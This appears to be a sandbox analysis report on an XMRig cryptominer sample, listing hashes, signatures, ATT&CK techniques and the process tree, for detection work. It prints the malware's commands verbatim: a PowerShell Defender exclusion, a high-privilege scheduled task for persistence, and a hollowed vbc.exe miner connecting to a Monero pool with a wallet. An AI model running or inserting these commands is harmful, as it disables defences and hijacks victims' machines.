xmrig | e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f

General

Target

e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe
Size

2.7MB
MD5

ea63a5502a59050d85dc9f162540a475
SHA1

1826f54a746e1170a5c08b2f02112f4df03e0d06
SHA256

e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f
SHA512

b1bf083160ac38f43f8d12ee17860d76ebd446520ec2aa14f5a5245df5fa0d29b9f763d843f938e703a4966199dab19787626cdb647330234dad5bc158efabf6
SSDEEP

49152:ZjLGLxbmMkZSipMKC76+De6jK31EhC0+kF7LtS6wI7q6zrGuRvu:ZjLG+SSlCglcCLkFnq6Gn

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral1/memory/2184-158-0x0000000140343234-mapping.dmp	xmrig
behavioral1/memory/2184-157-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/2184-159-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/2184-160-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/2184-162-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/2184-164-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 764 set thread context of 2184	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
5092	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2036	powershell.exe
2036	powershell.exe
764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe
764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
664	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeLockMemoryPrivilege	2184	vbc.exe
Token: SeLockMemoryPrivilege	2184	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2184	vbc.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 764 wrote to memory of 2036	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	81
PID 764 wrote to memory of 2036	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	81
PID 764 wrote to memory of 812	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	87
PID 764 wrote to memory of 812	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	87
PID 812 wrote to memory of 5092	812	cmd.exe	89
PID 812 wrote to memory of 5092	812	cmd.exe	89
PID 764 wrote to memory of 2184	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	92
PID 764 wrote to memory of 2184	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	92
PID 764 wrote to memory of 2184	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	92
PID 764 wrote to memory of 2184	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	92
PID 764 wrote to memory of 2184	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	92
PID 764 wrote to memory of 2184	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	92
PID 764 wrote to memory of 2184	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	92
PID 764 wrote to memory of 2184	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	92
PID 764 wrote to memory of 2184	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	92
PID 764 wrote to memory of 2184	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	92
PID 764 wrote to memory of 2184	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	92
PID 764 wrote to memory of 2184	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	92
PID 764 wrote to memory of 2184	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	92
PID 764 wrote to memory of 2184	764	e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe	92

C:\Users\Admin\AppData\Local\Temp\e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe
"C:\Users\Admin\AppData\Local\Temp\e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:812
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
    3⤵
    - Creates scheduled task(s)
    PID:5092
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2184

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Scripting

1

T1064

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/764-143-0x00007FFEC9E40000-0x00007FFEC9F8E000-memory.dmp

Filesize
1.3MB

Download
memory/764-144-0x00007FFEC8FF0000-0x00007FFEC9AB1000-memory.dmp

Filesize
10.8MB

Download
memory/764-135-0x00007FFEE3070000-0x00007FFEE3082000-memory.dmp

Filesize
72KB

Download
memory/764-136-0x00007FFECA2B0000-0x00007FFECA36D000-memory.dmp

Filesize
756KB

Download
memory/764-137-0x00007FFEE6C70000-0x00007FFEE6E11000-memory.dmp

Filesize
1.6MB

Download
memory/764-139-0x0000000000BF0000-0x0000000000F0E000-memory.dmp

Filesize
3.1MB

Download
memory/764-140-0x0000000000800000-0x0000000000843000-memory.dmp

Filesize
268KB

Download
memory/764-138-0x00007FFEC8FF0000-0x00007FFEC9AB1000-memory.dmp

Filesize
10.8MB

Download
memory/764-141-0x00007FFEE5C00000-0x00007FFEE5C2B000-memory.dmp

Filesize
172KB

Download
memory/764-142-0x0000000000BF0000-0x0000000000F0E000-memory.dmp

Filesize
3.1MB

Download
memory/764-134-0x00007FFEE6020000-0x00007FFEE60BE000-memory.dmp

Filesize
632KB

Download
memory/764-145-0x00007FFEE5150000-0x00007FFEE5177000-memory.dmp

Filesize
156KB

Download
memory/764-154-0x00007FFEC4BF0000-0x00007FFEC4CF2000-memory.dmp

Filesize
1.0MB

Download
memory/764-166-0x00007FFEC8FF0000-0x00007FFEC9AB1000-memory.dmp

Filesize
10.8MB

Download
memory/764-165-0x0000000000BF0000-0x0000000000F0E000-memory.dmp

Filesize
3.1MB

Download
memory/764-156-0x00007FFEE4520000-0x00007FFEE455B000-memory.dmp

Filesize
236KB

Download
memory/764-149-0x0000000000800000-0x0000000000843000-memory.dmp

Filesize
268KB

Download
memory/764-150-0x00007FFEC8FF0000-0x00007FFEC9AB1000-memory.dmp

Filesize
10.8MB

Download
memory/764-133-0x00007FFECA370000-0x00007FFECA41A000-memory.dmp

Filesize
680KB

Download
memory/764-155-0x00007FFEE63F0000-0x00007FFEE645B000-memory.dmp

Filesize
428KB

Download
memory/764-153-0x00007FFEC5810000-0x00007FFEC5845000-memory.dmp

Filesize
212KB

Download
memory/2036-147-0x000001FAB5B30000-0x000001FAB5B52000-memory.dmp

Filesize
136KB

Download
memory/2036-148-0x00007FFEC8FF0000-0x00007FFEC9AB1000-memory.dmp

Filesize
10.8MB

Download
memory/2184-163-0x000001B1958F0000-0x000001B195930000-memory.dmp

Filesize
256KB

Download
memory/2184-159-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2184-160-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2184-161-0x000001B195770000-0x000001B195790000-memory.dmp

Filesize
128KB

Download
memory/2184-162-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2184-164-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2184-157-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2184-167-0x000001B227F90000-0x000001B227FB0000-memory.dmp

Filesize
128KB

Download
memory/2184-168-0x000001B1958C0000-0x000001B1958E0000-memory.dmp

Filesize
128KB

Download
memory/2184-170-0x000001B1958C0000-0x000001B1958E0000-memory.dmp

Filesize
128KB

Download
memory/2184-169-0x000001B227F90000-0x000001B227FB0000-memory.dmp

Filesize
128KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads